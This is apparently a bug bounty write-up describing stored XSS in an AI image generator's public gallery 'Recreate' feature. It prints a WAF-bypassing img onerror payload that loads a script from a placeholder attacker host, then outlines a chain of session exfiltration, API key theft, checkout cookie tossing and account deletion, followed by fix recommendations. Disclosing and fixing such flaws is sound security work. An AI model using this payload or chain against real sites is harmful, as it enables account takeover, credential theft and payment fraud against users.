October 19, 2026
How I Triggered XSS in an AI Image Generator Using Image Recreation Feature
One Click on βRecreate,β and Suddenly I Own Your Wallet π¨π

By Aceproulx
3 min read
One Click on "Recreate," and Suddenly I Own Your Wallet π¨π
I was just clicking around an AI image generator like a normal person. Then I noticed the "Recreate" button was handing me someone else's raw prompt β unsanitized, uncooked, straight into the DOM. Turns out that's enough to exfiltrate a session, toss a cookie into someone's checkout flow, and quietly file an email-change request on their account. All from a picture of a mountain at sunset.
Recon: Poking the "Recreate" Button π§°
The target was [Target Platform]'s AI Image Generator β the part of the platform where you type a prompt, get four image variants, and can publish your favorite to the public community gallery. Anyone can browse that gallery. Anyone can click "Recreate" on someone else's published image to reuse their prompt. Convenient feature. Also, as it turned out, a loaded gun pointed at whoever pulls the trigger.
The question I wanted answered: when "Recreate" pulls the original prompt back out of storage and drops it into the prompt input, does it sanitize that text first?
Spoiler: no.
The Discovery: Stored XSS, Served Fresh from the Gallery πΌοΈ
The prompt text gets injected straight into a <div> in the prompt field without HTML encoding. So if the stored prompt contains markup, that markup renders β and executes β the moment a victim clicks "Recreate." A standard XSS polyglot dropped into the prompt field confirmed it fired in the browser of anyone who recreated the image.
Better still: the community gallery is public. No phishing link required. No "please click this totally-not-suspicious URL." Just publish the image and wait for someone to browse the gallery organically.
There was a WAF in the way, blocking anything with obvious XSS tells β fetch, credentials, document, full URLs. But it was only pattern-matching the inline payload. So instead of cramming the whole attack inline, I kept the inline part boring:
a beautiful mountain landscape at sunset <img src=0 onerror="s=document.createElement('script');s.src='//<attacker-host>/poc.js';document.head.append(s)">a beautiful mountain landscape at sunset <img src=0 onerror="s=document.createElement('script');s.src='//<attacker-host>/poc.js';document.head.append(s)">That's it. No fetch, no credentials, no flagged keywords β just an onerror handler that quietly appends a <script> tag pointing at an externally hosted payload. The WAF waved it through. The real logic lived safely off-platform in poc.js, completely outside the filter's jurisdiction.
From Cross-Site Scripting to Full-On Heist πΈ
Here's where it stopped being "just an XSS" and started being a small crime spree, all triggered by one click on "Recreate":
- Session data exfiltration β hit
https://redacted.com/api/user/sessionand ship the victim's email, username, account ID, and wallet ID off to an OAST listener. - Email-change kickoff β a
PUTto the user-data endpoint sets the account email to an attacker-controlled address. It needs victim confirmation to finish, but it still lands an unexpected "confirm your email change" message in their inbox and knocks the account into limbo. - API key theft β for Pro users, hit the developer-key endpoint and walk away with credentials good for the image generation, video generation, upscaling, and editing APIs. Billed to the victim, enjoyed by the attacker.
- Cookie tossing into the checkout flow β this is the fun one. The session tokens are
HttpOnly, so JavaScript can't read them directly. But it can still write new cookies, scoped to specific paths like/checkout/...and/pricing. Browsers prefer the more path-specific cookie, so the attacker's own valid session token quietly wins over the victim's root-level cookie on payment pages. Victim clicks "subscribe," attacker's account gets upgraded, on the victim's dime. - Account deletion, no confirmation needed β reading the CSRF token straight out of
document.cookieand replaying it in the required header is enough to fire aDELETErequest against the account-deletion endpoint. One click, zero confirmations, account gone.
None of this needed a second interaction from the victim beyond the one click that started it all.
Impact π
- Account email, username, account ID, wallet ID, and subscription status exfiltrated to an attacker-controlled endpoint.
- Partial account takeover via an unauthorized email-change request.
- Payment/checkout session hijacking through path-scoped cookie tossing β victim purchases can resolve against the attacker's account.
- API key theft and abuse against the victim's usage quota (Pro accounts).
- Irreversible, confirmation-free account deletion.
- Zero victim interaction required beyond browsing a public gallery and clicking a normal, expected UI button.
Fix Recommendations π οΈ
- Never inject stored prompt values via
innerHTMLor anything that parses HTML β use.valueor.textContentfor the prompt field instead. - Sanitize and validate prompt content at write time (when it's first stored), not just when it's displayed.
- Add a real Content-Security-Policy that blocks inline event handlers and restricts
script-srcto trusted origins β this alone kills the WAF-bypass technique used here. - Set session cookies with
SameSite=Strict(or at minimumLax) to shrink the broader cross-site attack surface. - On payment-sensitive endpoints, bind the session to something beyond a cookie value β IP/user-agent fingerprinting or a session-tied token β so path-scoped cookie injection can't just walk in and win.
Takeaway π
Turns out "Recreate" was doing exactly what it said on the tin β recreating the prompt, markup and all, no questions asked. The lesson, as always: if your app reflects stored user content back into the DOM, "it's just a prompt" is not a security boundary.
Note: this report was marked Archived / Duplicate of an earlier submission on the platform's bug bounty program, so it was ultimately paid at β¬0. Worth knowing before you post it somewhere people might ask what the payout was.